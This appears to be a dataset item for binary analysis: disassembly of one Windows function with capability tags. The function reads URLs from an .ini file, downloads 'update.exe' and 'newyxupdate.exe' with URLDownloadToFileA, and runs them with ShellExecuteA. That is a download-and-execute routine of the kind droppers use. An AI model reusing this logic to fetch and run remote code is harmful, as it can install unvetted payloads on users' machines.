Function at 0x401d40
Capabilities:
Create directory
Create process on windows
Download url
Get common file path
Read .ini file
Receive data

Disassembly:
push 0xffffffffffffffff
push 0x429d78
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x28
mov eax, dword [0x436748]
push ebx
push ebp
push esi
push edi
mov dword [esp + 0x14], eax
mov dword [esp + 0x40], 0
mov dword [esp + 0x10], eax
push pe_nt_image_headers32
push pe_nt_image_headers32
lea ecx, [esp + 0x18]
mov byte [esp + 0x48], 1
call fcn.0041ea1d
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
push 0xffffffffffffffff
lea ecx, [esp + 0x14]
call fcn.0041ea6c
push 0x436190
lea ecx, [esp + 0x14]
call fcn.0041c055
push eax
lea eax, [esp + 0x1c]
push eax
lea ecx, [esp + 0x18]
call fcn.0041bfbb
push eax
lea ecx, [esp + 0x14]
mov byte [esp + 0x44], 2
call fcn.0041e74d
lea ecx, [esp + 0x18]
mov byte [esp + 0x40], 1
call fcn.0041e614
mov esi, dword [esp + 0x48]
mov ebp, dword [sym.imp.KERNEL32.dll_GetPrivateProfileIntA]
mov eax, dword [esi + 0x60]
push eax
push 0
push str.down
push 0x436204
call ebp
mov ebx, dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
test eax, eax
je 0x401e99
mov eax, dword [esi + 0x60]
lea ecx, [esp + 0x14]
push eax
push pe_nt_image_headers32
push pe_nt_image_headers32
call fcn.0041ea1d
push eax
push 0x43a794
push 0x436200
push 0x436204
call ebx
push 0xffffffffffffffff
lea ecx, [esp + 0x18]
call fcn.0041ea6c
lea ecx, [esp + 0x10]
push str.update.exe
lea edx, [esp + 0x4c]
push ecx
push edx
call fcn.0041e8a9
mov eax, dword [eax]
push 0
push 0
push eax
mov eax, dword [esp + 0x20]
push eax
push 0
call sub.urlmon.dll_URLDownloadToFileA
lea ecx, [esp + 0x48]
mov edi, eax
call fcn.0041e614
test edi, edi
jl 0x401e99
lea ecx, [esp + 0x10]
push str.update.exe
lea edx, [esp + 0x4c]
push ecx
push edx
call fcn.0041e8a9
mov eax, dword [eax]
push 1
push 0
push 0
push eax
push 0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
lea ecx, [esp + 0x48]
call fcn.0041e614
mov eax, dword [esi + 0x60]
push eax
push 0
push str.down
push str.main
call ebp
test eax, eax
je 0x401fce
mov eax, dword [esi + 0x60]
lea ecx, [esp + 0x14]
push eax
push pe_nt_image_headers32
push pe_nt_image_headers32
call fcn.0041ea1d
push eax
push 0x43a794
push 0x436200
push str.main
call ebx
push 0xffffffffffffffff
lea ecx, [esp + 0x18]
call fcn.0041ea6c
lea ecx, [esp + 0x1c]
call fcn.00405955
lea eax, [esp + 0x10]
push str.Program_Files_newyx
lea ecx, [esp + 0x4c]
push eax
push ecx
mov byte [esp + 0x4c], 3
call fcn.0041e8a9
mov eax, dword [eax]
push 0
push eax
lea ecx, [esp + 0x24]
mov byte [esp + 0x48], 4
call fcn.00405a18
test eax, eax
lea ecx, [esp + 0x48]
mov byte [esp + 0x40], 3
sete bl
call fcn.0041e614
test bl, bl
je 0x401f5b
lea edx, [esp + 0x10]
push str.Program_Files_newyx
lea eax, [esp + 0x4c]
push edx
push eax
call fcn.0041e8a9
mov eax, dword [eax]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
lea ecx, [esp + 0x48]
call fcn.0041e614
lea ecx, [esp + 0x10]
push str.Program_Files_newyx_newyxupdate.exe
lea edx, [esp + 0x4c]
push ecx
push edx
call fcn.0041e8a9
mov eax, dword [eax]
push 0
push 0
push eax
mov eax, dword [esp + 0x20]
push eax
push 0
call sub.urlmon.dll_URLDownloadToFileA
lea ecx, [esp + 0x48]
mov edi, eax
call fcn.0041e614
test edi, edi
jl 0x401fc0
mov esi, dword [esi + 0x6c]
test esi, esi
je 0x401fa1
push 0xffffffffffffffff
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push ecx
lea edx, [esp + 0x14]
mov ecx, esp
mov dword [esp + 0x1c], esp
push str.Program_Files_newyx_
push edx
push ecx
call fcn.0041e8a9
call fcn.00401930
add esp, 4
lea ecx, [esp + 0x1c]
mov byte [esp + 0x40], 1
call fcn.00405992
lea ecx, [esp + 0x10]
mov byte [esp + 0x40], 0
call fcn.0041e614
lea ecx, [esp + 0x14]
mov dword [esp + 0x40], 0xffffffff
call fcn.0041e614
mov ecx, dword [esp + 0x38]
pop edi
pop esi
pop ebp
xor eax, eax
mov dword fs:[0], ecx
pop ebx
add esp, 0x34
ret 4